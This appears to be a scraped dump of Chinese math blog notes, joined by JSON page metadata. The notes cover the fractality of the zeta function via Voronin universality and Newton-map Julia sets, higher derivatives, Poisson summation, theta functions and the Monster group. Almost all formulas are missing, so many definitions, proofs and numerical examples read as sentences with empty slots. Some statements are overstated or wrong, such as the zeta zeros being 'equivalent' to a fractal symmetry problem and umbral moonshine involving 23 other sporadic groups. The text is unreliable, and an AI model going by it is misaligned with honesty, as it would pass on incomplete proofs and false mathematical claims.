任何非零解析函数的局部行为。这一普适性为构造自相似结构提供了工具。 分形性的推导：通过尺度变换映射实现自相似核心思想通过选取特定的解析函数 （其中 为尺度因子， 为中心），利用沃罗宁定理证明 函数在不同尺度下的结构重叠，从而建立自相似性。 步骤 1：构造尺度依赖的解析函数设 （ 为正整数， ， , 为实数），定义 ，其中 在 上非零解析。由沃罗宁定理，存在 使得： 步骤 2：定义圆盘映射与平移副本记 为中心在 、半径 的圆盘（ ）， 为中心在 、半径 的圆盘（ ）。上式定义了映射 ，将尺度放大的圆盘 映射到固定尺度的圆盘 ，且保持 函数值的近似相等。 步骤 3：证明自相似性与无限尺度重复不同 的唯一性：对 ， ，因为 与 的半径不同，而 与 的半径固定为 ，故平移参数 T 必须唯一区分不同尺度的映射。 嵌套结构：当 时，随 增大， 半径增大，但其映射像 保持固定尺度；当 时，初始 较小，最终仍会超过 尺度。无论哪种情况，中心区域 （最小圆盘）的结构会通过不同 的 在更小尺度上重复出现。方向与旋转的扩展：通过引入旋转因子 或共轭映射 ，可证明自相似性在任意方向和旋转下依然成立，强化了分形的各向同性。 分形性的直观理解与推论非严格递归的分形特征 函数的分形性不同于传统的确定性分形（如曼德博集合），它不通过显式迭代生成，而是通过无限多平移副本的统计自相似实现。这种结构避免了因严格递归导致的不可微性， 函数在全平面（除 外）仍保持无限可微。 三个关键推论 分形性（核心结论）：通过尺度变换映射 ， 函数在复平面不同区域（由 确定）重复自身结构，满足分形的自相似定义。 普适图像库：选取 为描绘特定轮廓（如米老鼠图案）的解析函数，由沃罗宁定理可知，存在 使得 逼近该轮廓，故 函数包含所有可能的解析曲线。 信息编码：将曲线替换为携带摩尔斯电码或文本信息的振荡函数，可证明 函数能编码任意有限信息，且在不同尺度下无限重复，成为 \"定理巨著\" 的具体实现。 结论：作为数学宇宙缩影的 ζ 函数黎曼 函数的分形性不仅是解析数论的深刻结果，更揭示了数学对象中隐藏的普遍性与复杂性。通过沃罗宁定理， 函数将素数分布、解析延拓与分形几何编织为一体：它既是研究素数规律的工具，也是一个包含所有可能解析模式的 “数学宇宙”。这种统一性引发思考：是否所有深刻的数学对象都蕴含类似的普适结构？ 函数的分形本质，或许正是数学内在和谐的终极体现。 RIEMANN ' S ZETA FUNCTION AND NEWTON ' S METHOD : NUMERICAL EXPERIMENTS FROM A COMPLEX - DYNAMICAL VIEWPOINT 黎曼 ζ 函数的分形特征：从复动力系统视角的解析黎曼 函数（ ）作为数论与分析学的核心对象，其零点分布不仅关系到素数定理的精确形式，更通过复动力系统的透镜展现出惊人的分形结构。当我们将牛顿迭代法应用于 ζ 函数及其相关变换时，迭代轨道的收敛边界，朱利亚集（Julia set），呈现出典型的自相似性与非整数维数，这为理解 ζ 函数的复杂性质提供了全新的几何视角。这里将从历史背景出发，系统构建 函数分形特征的数学基础，推导关键动力学方程，并通过数值实验揭示其与黎曼假设（Riemann Hypothesis）的深刻联系。 历史脉络：从素数分布到复动力学1859 年， Bernhard Riemann 在开创性论文《论小于给定数值的素数个数》中引入了 函数的解析延拓，将其定义域从实部大于 的半平面扩展到整个复平面（除 处的单极点外），并提出了关于非平凡零点均位于临界线 的著名猜想。这一猜想若成立，将推导出素数间隔的最优估计 ，远优于目前已知的 结果。一个半世纪以来，数学家们发展了多种研究 函数零点的工具，包括 Hardy-Littlewood 圆法、筛法及函数论方法，但零点分布的内在几何结构长期处于探索边缘。 20 世纪初，Fatou 与 Julia 建立的复动力系统理论为研究迭代映射的长期行为提供了框架。1980 年代后，计算机技术的发展使得可视化高维复函数的动力学行为成为可能。2000 年后，Aimo Hinkkanen、Dierk Schleicher 等学者开始将牛顿迭代法应用于 函数，发现其牛顿映射的朱利亚集呈现出复杂的分形图案。这些结构不仅具有美学价值，更通过 \"不动点无区域 = 零点无区域\" 的桥梁，将分形几何与黎曼假设的证明路径联系起来，这正是 2005 年 Kawahira 提出的 \"动力黎曼假设\" 的核心思想。 数学基础：ζ 函数与牛顿映射的分形机制ζ 函数的解析延拓与零点分布黎曼 函数的定义始于欧拉乘积： 通过解析延拓，该函数在复平面 上亚纯，其非平凡零点（即不位于负偶数 的零点）全部落在临界带 内。已知存在常数 ，使得区域 内无零点，其中 。这一零点无区域的宽度直接影响素数分布估计的精度，而分形方法将为拓展此类区域提供新工具。 牛顿映射的动力学框架对于亚纯函数 ，其牛顿映射定义为： 该映射的关键性质在于： 当且仅当 （即 为 的不动点）。对于简单零点 ，有 ，此时迭代序列 以平方收敛速率逼近 ；对于多重零点， ，收敛速率降为线性。这种局部收敛行为在全局迭代中演变为复杂的分形结构 —— 朱利亚集，即 Fatou 集（迭代正则区域）的补集，其特征是轨道对初始条件的敏感依赖性。 ζ 函数牛顿映射的分形特征将牛顿映射应用于 函数时，直接处理 会因 函数的极点和本性奇点带来计算困难。因此，学者们转而研究其正则化形式： η 函数： ，消除 处的极点，变为整函数 ξ 函数（黎曼 函数）： ，满足对称性 ，且零点与 函数非平凡零点完全一致 对应的牛顿映射分别为： 数值实验表明， 的朱利亚集呈现 \"鸡头\" 状的自相似结构，随着虚部增大，零点密度增加但分形特征保持不变；而 因对称性呈现分层结构，每层动力学行为与单位圆盘上的 映射共形等价。这些结构的分形维数可通过盒计数法或关联维数估计，为 函数零点的分布密度提供几何度量。 关键推导：从动力学方程到分形判据不动点稳定性与零点无区域考虑临界带 内的区域 ，若牛顿映射 ，则 在 内无零点。这一拓扑性质将零点分布问题转化为动力学迭代的区域映射问题。对 而言，其关于 的对称性意味着：若 是 的不动点，则 亦是不动点。因此，若能证明所有不动点均位于 ，则黎曼假设得证，这正是 Kawahira 提出的动力黎曼假设：广义 ν 函数在临界带内的所有不动点均位于临界线上。 分形维数的解析表达对于朱利亚集 ，其 Hausdorff 维数 可通过共形测度理论估计。对于多项式映射 ，朱利亚集的维数满足 。类似地，对 的数值模拟显示其朱利亚集具有自相似层次结构，每层的分支数按指数增长，暗示维数 。这种非整数维数反映了零点分布的疏密变化 —— 当虚部 增大时， 函数零点间距按 减小，对应分形结构的局部放大呈现相似图案。 数值实验与几何洞察三种牛顿映射的分形对比Kawahira 的数值实验揭示了三种映射的显著差异： ν(z)：因 函数的本质奇点，迭代易发散至无穷，朱利亚集边界模糊 μ(z)：呈现 \"鸡头\" 状结构，头部区域对应零点聚集区，颈部为零点间的过渡带，且随着 增大，\"鸡头\" 周期性出现但细节各异 λ(z)：对称性使朱利亚集呈现层状结构，每层可能对应临界线上的一组零点，其动力学行为可简化为单位圆盘上的二次映射，便于理论分析 这些结构不仅验证了分形的存在性，更提供了零点分布的可视化工具 —— 通过分析朱利亚集的分支点，可定位高虚部零点的近似位置。 分形与黎曼假设的关联动力黎曼假设将零点分布问题转化为不动点的对称性分析。若 的朱利亚集关于 对称且所有吸引域均以临界线上的点为中心，则黎曼假设成立。数值上，对前 个非平凡零点的计算支持这一对称性，但严格证明需要建立： 在临界带内的所有不动点均为吸引不动点 吸引域边界（朱利亚集）的测度为零 非对称初始点生成的轨道最终逃逸至临界线 这些问题的解决可能需要结合 Teichmüller 理论与分形几何的新方法。 结论与展望黎曼 函数的分形特征不仅是理论美学的体现，更是连接数论与动力系统的桥梁。通过牛顿映射构建的动力学框架，我们看到： 函数的零点分布问题等价于分形集合的对称性分析，而朱利亚集的维数与结构编码了素数分布的深层规律。未来研究可沿三个方向推进： 发展 \"分形零点计数函数\"，通过 Hausdorff 测度量化零点密度 利用机器学习识别 朱利亚集的对称破缺，寻找反例或提供黎曼假设的数值证据 将动力黎曼假设推广至 Dirichlet L 函数，探索更广泛数论对象的分形共性 复动力学为 函数研究带来了 \"全新视角\"，而分形几何或许正是解开黎曼假设之谜的最后一块拼图。当我们凝视那些由迭代方程生成的蜿蜒边界时，看到的不仅是数学的美，更是素数在复平面上留下的永恒足迹。"},{"title":"","date":"2025-10-07T10:49:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/31.html","permalink":"https://blog.mhuig.top/notes/Zeta/31","excerpt":"","text":"不知名的碎片 1 不知名的碎片 1 solution 1: Let Note that our sum equals Now decreases from to on Thus, for Summing on then gives This is true for any As the integral on the left approaches By the squeeze theorem, the limit of our sum equals the value of this integral, which is solution 2: Denote . We have Weierstrass factorization for hyperbolic sine is: Therefore And finally taking the limit as solution 3: Using partial fraction decomposition and summing Using the asymptotic of generalized harmonic numbers Combining all the above 另一个碎片"},{"title":"","date":"2025-10-08T22:42:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/44.html","permalink":"https://blog.mhuig.top/notes/Zeta/44","excerpt":"","text":"高阶导数 高阶导数 历史渊源与概念演进高阶导数的思想萌芽可追溯至 17 世纪微积分建立初期。牛顿在《自然哲学的数学原理》中研究曲线曲率时，首次隐含了二阶导数的概念；莱布尼茨则通过符号体系明确表示了导数的迭代运算，其创立的 符号至今仍被广泛使用。18 世纪泰勒公式的出现（ ），使高阶导数从工具性概念升华为函数局部行为的完整描述工具，通过某点各阶导数值，多项式得以在收敛域内精确复刻原函数。 19 世纪柯西和黎曼将导数定义严格化后，高阶导数成为分析学的核心对象。20 世纪量子力学与相对论的发展进一步揭示其物理意义：在拉格朗日力学中，系统运动方程由二阶导数主导（如牛顿第二定律 ） ，而高阶时间导数会因奥斯特罗格拉茨基不稳定性导致能量无下界，这解释了为何基础物理定律极少包含三阶以上导数。 数学定义与几何意义定义：函数 的 阶导数 是对其一阶导数的 次迭代求导，即： 当 时约定 。若该极限存在，则称 在 处 阶可导。 几何与物理诠释： 二阶导数：描述函数曲率（ ）或加速度（ ）； 三阶导数：对应急动度（jerk），刻画加速度变化率，在机械工程中用于优化运动平滑性；高阶导数：在泰勒展开中决定多项式的收敛速度与震荡特性。 计算方法与技巧高阶导数的计算需结合函数特性选择策略，以下为三类典型方法： 1. 直接求导法与递推公式对初等函数可通过逐次求导寻找规律。例如 的任意阶导数均为自身； 呈现周期为 4 的循环（ ）。 例：求 在 处的 阶导数。 解：由 得 ，两边对 求 阶导数，应用莱布尼茨公式： 代入 并注意 在 时为 ，化简得递推关系： 结合初始条件 ，最终得 ， 。 2. 泰勒展开系数法利用泰勒级数唯一性，若已知 的幂级数展开式 ，则 ，即 。例如对 ，可直接读出 。 3. 微分方程转化法对隐函数或反三角函数，通过建立微分方程简化计算。如 满足 ，求导后结合莱布尼茨公式可得高阶导数递推式。 挑战与思考高阶导数的计算复杂度随阶数呈指数增长，即使对初等函数也可能不存在解析表达式。这促使数学家发展符号计算系统（如 Maple、Mathematica）和数值微分算法。 从泰勒展开的局部 - 整体关联到物理定律的导数阶数限制，高阶导数犹如数学与自然科学的交叉棱镜，既折射出函数的微观结构，也映照出宇宙运行的深层逻辑。当我们计算 时，本质上是在解码函数的 “基因序列”，而这段序列，或许早已写入宇宙诞生的初始条件。"},{"title":"","date":"2025-10-11T00:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/46.html","permalink":"https://blog.mhuig.top/notes/Zeta/46","excerpt":"","text":"泊松求和公式 泊松求和公式 在数学分析的殿堂中，泊松求和公式如同一座精巧的桥梁，连接着离散与连续两个看似割裂的世界。这个由法国数学家西蒙・德尼・泊松于 19 世纪初提出的公式，不仅在调和分析中占据核心地位，更在数论、信号处理、量子力学等领域展现出深刻的应用价值。它揭示了一个惊人的事实：一个函数在整数点处的离散求和，等于其傅里叶变换在相应频率点处的离散求和，这种对偶性为解决各类复杂问题提供了全新视角。 历史背景与数学语境泊松求和公式的诞生源于 19 世纪初数学界对傅里叶分析的探索热潮。1823 年，泊松在研究热传导方程时首次提出这一公式的雏形，最初用于处理周期函数的傅里叶级数展开问题。当时的数学界正处于从微积分向更系统的分析学过渡的阶段，傅里叶级数的发现（1807 年）为处理周期现象提供了强大工具，而泊松求和公式则进一步将这种周期性分析推广到了离散与连续的交互领域。 随着 20 世纪调和分析的发展，数学家们逐渐认识到该公式的深层意义，它本质上是紧群上傅里叶分析的一个特例。在现代数学框架下，泊松求和公式可以视为局部紧阿贝尔群上 Pontryagin 对偶理论的直接推论，将有限阿贝尔群上的傅里叶变换理论自然推广到无穷离散群 与其对偶群 （圆周群）的情形。这种观点不仅统一了公式的各种表现形式，更为其在数论中的深刻应用（如模形式理论、黎曼 函数的函数方程）奠定了基础。 严格定义与函数空间要理解泊松求和公式，首先需要明确其适用的函数类。最经典的情形是考虑 Schwartz 速降函数空间 中的元素，这类函数具有任意阶导数且在无穷远处比任何多项式的倒数都更快地趋于零。 定义（Schwartz 空间）：函数 属于 Schwartz 空间 ，若对任意非负整数 ，都有 其中 表示 的 阶导数。 Schwartz 空间的重要性在于它对傅里叶变换封闭，即若 ，则其傅里叶变换 也属于 ，这确保了公式两边的级数均绝对收敛。 泊松求和公式（标准形式）：设 ，其傅里叶变换定义为 则有 其中 均为整数。 更一般地，对于周期为 的情形，公式可推广为： 特别地，当 且 时即得到标准形式。 三种视角的严格推导1. 周期函数的傅里叶级数法这是最经典的证明方法，通过构造周期函数并分析其傅里叶系数来建立等式。 证明：定义周期函数 ，显然 ，故可展开为傅里叶级数： 其中傅里叶系数 作变量替换 ，当 时 ，故 因此 ，令 即得 证毕。 2. 狄拉克梳状函数的傅里叶变换法从广义函数（分布）的角度，可以更直观地理解公式的本质，它反映了时域采样与频域采样之间的对偶关系。 考虑狄拉克梳状函数（Dirac comb） 其中 为狄拉克 函数。其傅里叶变换为 对函数 与梳状函数作卷积，得到 的周期延拓： 两边取傅里叶变换并利用卷积定理 ，有 取逆傅里叶变换并令 ，即得一般形式的泊松求和公式： 当 时即为标准形式。 3. 欧拉 - 麦克劳林求和公式法这种证明方法更具分析学色彩，通过将离散求和转化为积分与余项的和，再利用傅里叶级数表示余项。 欧拉 - 麦克劳林公式：对于在 上连续可微的函数 ，有 其中 是 floor 函数（不大于 的最大整数）。 对于速降函数 ，取 时边界项 趋于零，故 注意到 是周期为 的奇函数，其傅里叶级数为 代入积分并交换求和与积分次序（由控制收敛定理保证），得 对积分作分部积分，最终可得 这种证法揭示了泊松求和公式与数值积分中余项估计的深刻联系。 推广形式与边界情形1. 缓增分布意义下的推广泊松求和公式可以从 Schwartz 函数推广到更一般的缓增分布（tempered distributions）。对于 ，若 作为周期分布收敛，则有 这种推广使得公式可应用于如 函数、多项式等非速降函数，但需在分布意义下理解级数收敛。 2. 高维泊松求和公式公式可自然推广到 上：设 ，则 其中 是 维傅里叶变换。这一推广在自守形式、晶体学等领域有重要应用。 3. 带参数的泊松求和公式考虑高斯函数族 （ ），其傅里叶变换为 。代入泊松求和公式得到 这正是 theta 函数 的函数方程 ，是模形式理论的基石之一。 深刻应用与数学连接1. 黎曼 函数的解析延拓泊松求和公式为黎曼 函数提供了关键的解析延拓方法。考虑 函数与 函数的关系： 对等式 两边积分并作变量替换，可得到 的函数方程： 这一方程揭示了 函数在临界线 上的对称性，是黎曼假设的核心背景。 2. 双曲余切的洛朗展开利用泊松求和公式可推导双曲余切函数的无穷级数展开。考虑函数 （ ），其傅里叶变换为 代入泊松求和公式得 左侧即 ，因此 这一展开在复分析中用于计算极点留数，在统计力学中用于处理晶格振动问题。 3. 椭圆函数与模形式在椭圆函数理论中，魏尔斯特拉斯 函数定义为 其傅里叶展开可通过泊松求和公式推导，揭示了椭圆函数的双周期性与模变换性质。高维情形下，泊松求和公式是自守形式理论中塞尔伯格迹公式的特例，后者在数论和表示论中具有里程碑意义。 4. 信号处理中的采样定理在工程应用中，泊松求和公式直接导出了奈奎斯特采样定理。对于带宽限制在 内的信号 （即当 时 ），公式给出 取 （奈奎斯特频率），则右侧仅剩 项，即 可由其采样值完全重构： 这一结果奠定了数字信号处理的理论基础。 典型算例与数值验证例 1：高斯函数求和设 ，则 ，由泊松求和公式得 这看似平凡，但对 考虑 ，则 ，从而 当 时即得 ，当 时可计算左侧 ，右侧 ，验证了公式的正确性。 例 2： 的求和取 ，其傅里叶变换为 ，代入泊松求和公式得 左侧为 ，右侧 ，与 的数值吻合，这实际上给出了 的一个快速计算方法。 例 3：余切函数的部分分式展开考虑 （ ），其傅里叶变换可通过留数定理计算，代入泊松求和公式后取极限 ，可得到经典的余切展开式： 这一公式在复分析中用于计算实积分，例如 。 结语：数学统一性的典范泊松求和公式的魅力不仅在于其优美的形式和广泛的应用，更在于它揭示了数学不同分支之间的深刻联系。从分析学中的傅里叶变换到数论中的模形式，从信号处理的采样定理到量子场论中的卡西米尔效应，这一公式如同一条隐藏的线索，将看似分散的数学领域编织成一个有机整体。 对于现代数学家而言，泊松求和公式的意义已远超其原始形式，它代表着一种对偶思维，即通过变换将难以处理的离散问题转化为连续问题，反之亦然。这种思维方式在机器学习（如傅里叶特征映射）、密码学（格基密码）等新兴领域中正展现出蓬勃的生命力。数学中最美妙的时刻，往往是不同分支的思想交汇之时，而泊松求和公式无疑是这种交汇的璀璨结晶。 在未来，随着非交换调和分析、量子计算等领域的发展，我们有理由相信，泊松求和公式这一经典工具将继续焕发新的活力，为探索数学宇宙的未知疆域提供指引。"},{"title":"","date":"2025-10-11T01:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/47.html","permalink":"https://blog.mhuig.top/notes/Zeta/47","excerpt":"","text":"Theta 函数 Theta 函数 Theta 函数作为连接复分析、数论与代数几何的核心工具，其发展历程折射出 19 世纪以来数学思想的深刻变革。1829 年，雅可比在《椭圆函数新理论》中首次系统研究 θ 函数时，或许未曾想到这个源于椭圆积分反演的特殊函数，会在一个世纪后成为破解费马大定理的关键拼图。今天，Theta 函数不仅是构造双周期椭圆函数的基本砖块，更通过黎曼的高维推广成为代数曲线理论的语言，其现代变体 mock theta 函数甚至与弦理论中的黑洞熵计算产生深刻关联。 历史起源：从椭圆周长到双周期函数椭圆积分的研究始于 18 世纪对椭圆弧长的计算。当试图求解椭圆 的周长时，数学家们遇到了如下形式的积分： 其中 这个积分无法用初等函数表示，促使欧拉、勒让德等人发展椭圆积分理论。1827 年，雅可比突破性地将椭圆函数定义为椭圆积分的反函数，类似三角函数是圆积分的反函数。对于第一类不完全椭圆积分： 雅可比定义其反函数为 ，并发现这些函数具有双周期性。为研究这些函数的性质，雅可比将其表示为无穷乘积形式，而这些乘积中蕴含的整函数正是 θ 函数的雏形。 黎曼在 1857 年的博士论文中，将单变量 θ 函数推广至多变量情形，引入了依赖于黎曼矩阵的高维 θ 函数，为代数曲线的雅可比反演问题提供了统一框架。这一推广使得 θ 函数从复分析工具跃升为代数几何的基本语言，其对称性质深刻反映了黎曼曲面的拓扑结构。 定义与基本性质：从单变量到多变量雅可比 Theta 函数经典的雅可比 θ 函数有四个基本类型，均定义为复平面上的整函数。其中第三个 θ 函数最为常用： 其中 ， 保证级数绝对收敛。这个看似简单的级数蕴含着惊人的对称性：它关于 具有拟周期性 和 ，这种双重周期性使其成为构造椭圆函数的理想基石。 通过乘积展开，θ 函数可表示为无穷乘积形式： 这个乘积展开揭示了 θ 函数的零点分布，所有零点均位于 （ ）处，形成复平面上的规则格点。 黎曼 Theta 函数黎曼将雅可比 θ 函数推广至 维复空间，定义为： 其中 ， 是 对称复矩阵，且 正定（称为黎曼矩阵）。这个高维推广保留了关键性质：对任意 ，有 ，而平移 则引入指数因子。黎曼 θ 函数的重要性在于，任何阿贝尔函数（高维椭圆函数的推广）都可表示为 θ 函数的商，这类似于单变量情形下椭圆函数可表示为 θ 函数之商的性质。 核心恒等式与证明：从三重积到模变换Jacobi 三重积恒等式θ 函数理论中最基本的恒等式是雅可比三重积恒等式，它建立了 θ 函数的级数展开与乘积展开之间的桥梁： 这个恒等式的证明可通过构造辅助函数 并分析其傅里叶展开完成。具体而言，通过证明 满足递推关系 ，结合初始条件 ，可得系数 ，从而得到 θ 函数的级数表达式。 Jacobi 恒等式与模形式性质雅可比发现了 θ 函数之间的平方关系： 其中 是另外两个雅可比 θ 函数。这个恒等式可通过考察 θ 函数在 处的取值证明，此时 恰为著名的 Euler 函数。更深刻的是，θ 函数满足模变换性质：当 时，θ 函数经历特定的变换规则，这使它们成为权为 的模形式。 应用与推广：从物理到数论椭圆函数表示利用 θ 函数，所有椭圆函数都可表示为 θ 函数的有理组合。例如雅可比椭圆函数 可表示为： 其中 是椭圆模参数， ， 是第一类完全椭圆积分。这种表示使得椭圆函数的数值计算成为可能，当需要在涉及椭圆函数的问题中获得确定数值结果时，计算最简便的方法是借助 θ 函数。 Mock Theta 函数1920 年，拉马努金在给 Hardy 的最后一封信中提出了 17 个 \"mock theta 函数\"，它们具有模形式的渐近性质但不满足完整的模变换律。直到 2002 年，Zwegers 才揭示其本质：每个 mock theta 函数是权为 的弱调和 Maass 形式的全纯部分，其非全纯部分由 θ 函数构成。这一发现将 mock theta 函数纳入模形式理论框架，使其成为连接数论与物理的新桥梁 —— 最近研究表明，mock theta 函数的系数与黑洞熵计算密切相关。 通信与密码学在应用数学领域，θ 函数的格点结构使其成为通信编码的理想工具。格的 θ 级数 编码了格的距离分布信息，而平坦因子（flatness factor）则量化了格的 \"均匀性\"，这对设计抗噪声的格码至关重要。例如，在计算转发（compute-and-forward）通信协议中，θ 级数的近似 可有效评估格码性能。 前沿问题与挑战尽管 θ 函数已有近 200 年研究历史，许多基本问题仍未解决。在计算数学中，高维黎曼 θ 函数的高效计算仍是开放问题，现有算法需在精度与复杂度间权衡。在数论领域，mock theta 函数的系数同余性质与分拆函数的关系是当前研究热点，例如 3 阶 mock theta 函数 的系数符号变化规律尚未完全揭示。 从椭圆周长计算到弦理论模型，θ 函数始终扮演着数学创新的催化剂角色。正如黎曼矩阵的对称性反映了代数曲线的拓扑结构，θ 函数本身也成为数学不同分支间深刻联系的隐喻，在复分析的表面下，隐藏着数论与几何的深层共鸣。当我们在量子场论的路径积分中遇到 θ 函数的身影，或在密码学的格基归约中应用其性质时，或许正是在回应雅可比当年的洞见：数学最深刻的美，往往体现在看似不同领域的惊人联系之中。"},{"title":"","date":"2025-10-11T01:15:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/48.html","permalink":"https://blog.mhuig.top/notes/Zeta/48","excerpt":"","text":"魔群 魔群 在有限群论的浩瀚星海中，魔群（Monster Group）如同一颗神秘的超新星，以其 个元素的庞大身躯和深邃的数学内涵，成为 个散在单群中最引人注目的存在。这个被称为 \"友善巨人\"（Friendly Giant）的代数结构，不仅是有限单群分类定理的巅峰之作，更通过 \"魔群月光猜想\"（Monstrous Moonshine）架起了连接群论、数论与理论物理的桥梁。这里将从历史背景出发，系统阐述魔群的构造原理、表示理论及其深远的数学影响，揭示这个抽象代数对象如何成为理解数学统一性的关键钥匙。 历史渊源：从散在单群到 \"月光\" 的发现魔群的故事始于 20 世纪中期有限单群分类的宏大工程。当数学家们逐渐意识到大多数有限单群可归入 个无限家族时， 个无法被归类的 \"散在单群\"（sporadic simple group）成为分类定理最后的谜题。1973 年，德国数学家贝恩德・费歇尔（Bernd Fischer）首先预测了一个包含他所发现的 3 - 传递群的巨大单群存在，而美国数学家罗伯特・格里斯（Robert Griess）则独立开展了构造工作。这场数学长征的关键突破出现在 1978 年，康考迪亚大学的约翰・麦凯（John McKay）偶然发现，数论中著名的 j 函数傅里叶展开式的第一个非平凡系数 ，恰好等于魔群最小非平凡不可约表示维数 与平凡表示维数 1 之和。 这一惊人巧合起初被视为数学猎奇，直到 1979 年，菲尔兹奖得主约翰・汤普森（John Thompson）进一步验证了 j 函数更高阶系数与魔群表示维数的关联：j 函数的第二个系数 等于 ，其中 正是魔群的第三个不可约表示维数。这些发现促使约翰・康威（John Conway）与西蒙・诺顿（Simon Norton）在 1979 年发表了划时代的论文《魔群月光》，正式提出魔群月光猜想：存在一个基于魔群的无限维 graded 表示（后称为 \"魔群模\"），其分次维数生成函数恰为 j 函数，且魔群元素的作用对应特定模形式。这一猜想被当时数学家唐・扎吉尔（Don Zagier）形容为 \"可望而不可即\"，因其连接了两个看似毫无关联的数学领域。 魔群本身的构造难题在 1982 年被格里斯攻克，他通过构造一个 196884 维的非结合代数：Griess 代数，证明了魔群作为该代数自同构群的存在性。格里斯的构造异常复杂，涉及 24 维 Leech 格的深刻性质，其代数乘法定义需要处理超过百万项的结构常数。这一成就使魔群获得了 \"Fischer-Griess Monster\" 的正式名称，而康威随后简化的构造揭示了其与 2B 对合中心化子 的关键联系。 数学定义与基本结构阶与单群性质魔群作为有限单群，其阶（元素个数）由汤普森阶公式确定为： 这一数值约为 ，超过可观测宇宙中的原子总数，却能通过严格的群论公理完全确定。作为单群，魔群不包含非平凡正规子群，这一性质使其在有限群分类中处于基础地位 —— 所有有限群都可分解为单群的扩张，正如素数是整数的基本构件。 子群结构与 \"快乐大家族\"魔群的非凡之处在于其包含了 26 个散在单群中的 20 个作为其子群或子商群，康威将这些群称为 \"快乐大家族\"（happy family），而其余 6 个不与魔群相关的散在群则被称为 \"低群\"（pariahs）。这种包含关系通过极大子群实现，已知的 44 个共轭类极大子群中，最著名的包括： ：2B 对合的中心化子，结构为 extraspecial 2 - 群 与 Conway 单群 的半直积 ：2A 对合的中心化子，包含 Baby Monster 群 的双覆盖 ：5 - 局部极大子群，在融合系统研究中至关重要 这些子群的存在使魔群成为散在单群的 \"通约者\"，通过研究魔群的表示可同时获取多个散在群的信息。特别地，魔群的子群格包含了 Mathieu 群、Conway 群、Fischer 群等大多数散在单群，形成一个复杂而有序的对称网络。 Griess 代数与极小表示格里斯在构造魔群时引入的 196884 维 Griess 代数 是理解魔群结构的关键工具。作为非结合交换代数， 具有单位元且满足特殊的容差条件，其自同构群 正是魔群。该代数可分解为平凡表示与 196883 维极小忠实表示的直和： 其中 是魔群的极小忠实表示，其维数比 j 函数的第一个非零系数小 1，这一巧合正是魔群月光猜想的最初线索。康威进一步证明，Griess 代数可通过 Leech 格的顶点算子代数构造，建立了与共形场论的联系。 表示理论与计算实现表示的维数与特征标魔群的表示理论展现出惊人的规律性，其不可约表示维数序列以 1, 196883, 21296876, 842609326, ... 开始，这些数值通过特征标表与模形式系数严格对应。根据月光猜想，这些维数生成函数满足： 其中 为椭圆模函数， 是魔群模 的分次维数， 。博赫茲（Richard Borcherds）在 1992 年证明这一猜想时，引入了 Monster Lie algebra，一个具有 - 分次结构的广义 Kac-Moody 代数，其根空间维数恰由 给出。 计算挑战与算法突破由于最小忠实表示维数高达 196882，直接存储魔群元素的矩阵表示在计算上不可行。早期计算机实现依赖于 3 - 局部子群或 2 - 局部子群构造，如 Linton 等人 1998 年基于 的方法。2024 年，Martin Seysen 提出的新算法通过模 15 约化表示 ，将随机元素乘法时间缩短至 30 毫秒，比 Wilson 2013 年的估计快 10 万倍。 该算法的核心思想是构造三个特殊向量 ，使得任意魔群元素 可由其在这些向量上的作用唯一确定。通过将 表示为生成元 上的字，并利用 Griess 代数的几何性质缩短字长，实现了高效存储（ 比特 / 元素）与运算。这一突破使得大规模魔群计算成为可能，如 Dietrich 等人 2024 年利用该算法完成了魔群极大子群的分类。 月光猜想与数学统一性博赫茲的证明与广义 Kac-Moody 代数1992 年，博赫茲通过引入 Monster Lie algebra 完成了魔群月光猜想的证明，这一成就为他赢得了 1998 年菲尔兹奖。Monster Lie algebra 是 - 分次的广义 Kac-Moody 代数，其分次分量 满足： 其中 是 Moonshine 模，一个具有魔群作用的顶点算子代数。博赫茲的证明融合了顶点算子代数、no-ghost 定理和弦理论的思想，展示了物理方法在纯粹数学中的深刻应用。特别地，他证明了 Monster Lie algebra 的根空间维数由 j 函数系数给出，从而建立了群论与模形式的根本联系。 伴影月光与数学新前沿魔群月光猜想的证明开启了 \"月光现象\" 的研究热潮。2012 年，程之宁（Miranda Cheng）、约翰・邓肯（John Duncan）与杰弗里・哈维（Jeffery Harvey）提出伴影月光猜想（Umbral Moonshine），预言了 23 种类似的对称群与模形式的对应关系，这些对应与 K3 曲面的弦理论密切相关。2015 年，该猜想的主要情形被证明，揭示了月光现象的普遍性。 … 这些发展促使数学家重新评估数学各分支间的联系。麦凯观察到魔群不可约表示维数与 E8 根系的深刻关联（麦凯 E8 观察），暗示魔群可能编码了弦理论中额外维度的几何信息。当代研究正探索魔群与量子引力、拓扑量子场论的可能联系，将这个抽象代数对象推向现代数学物理的前沿。 魔群与黎曼 Zeta 函数的深层联系虽然魔群与黎曼 Zeta 函数无直接关联，但通过以下路径间接相连： 模形式与 Zeta 函数的共性：J 函数作为模形式，其系数满足类似 Zeta 函数的解析延拓和函数方程，且在数论中常用于研究素数分布（如怀尔斯证明费马大定理时用到的模性猜想）。 Kloosterman-Selberg Zeta 函数：在研究模形式的谱理论时，会涉及这类与群作用轨道相关的 Zeta 函数。例如，Iwaniec 在分析自守格林函数时，通过 Kloosterman 和构造了与魔群子群相关的 Zeta 函数，其极点对应群表示的特征值。 广义月光猜想的扩展：2012 年提出的 “伴影月光猜想”（Umbral Moonshine）发现，除魔群外，其他 23 个散在单群（如 O’Nan 群）也与模形式存在类似对应，部分涉及椭圆曲线的 L 函数（Zeta 函数的推广），甚至可用于证明类数同余和 Selmer 群的性质。 结论：魔群的数学意义与未来展望魔群作为有限单群分类的巅峰成就，其意义远超单纯的群论研究。通过魔群月光猜想，它架起了连接代数、数论与理论物理的桥梁，印证了希尔伯特关于数学统一性的远见。魔群的研究方法，从格里斯代数的显式构造到博赫茲的顶点算子代数证明，再到 Seysen 的高效算法，展示了数学创造力在应对极端复杂问题时的多样化路径。 当前，魔群在融合系统（fusion systems）、高阶范畴论和量子计算中的潜在应用正吸引新的研究兴趣。特别是其 阶 Sylow 5 - 子群上的 exotic 融合系统的发现，挑战了传统的有限群结构理论。随着计算能力的提升和数学物理的发展，这个 \"友善巨人\" 仍将继续揭示宇宙最深层的数学秘密，提醒我们在看似离散的数学对象背后，可能隐藏着统一而和谐的对称规律。 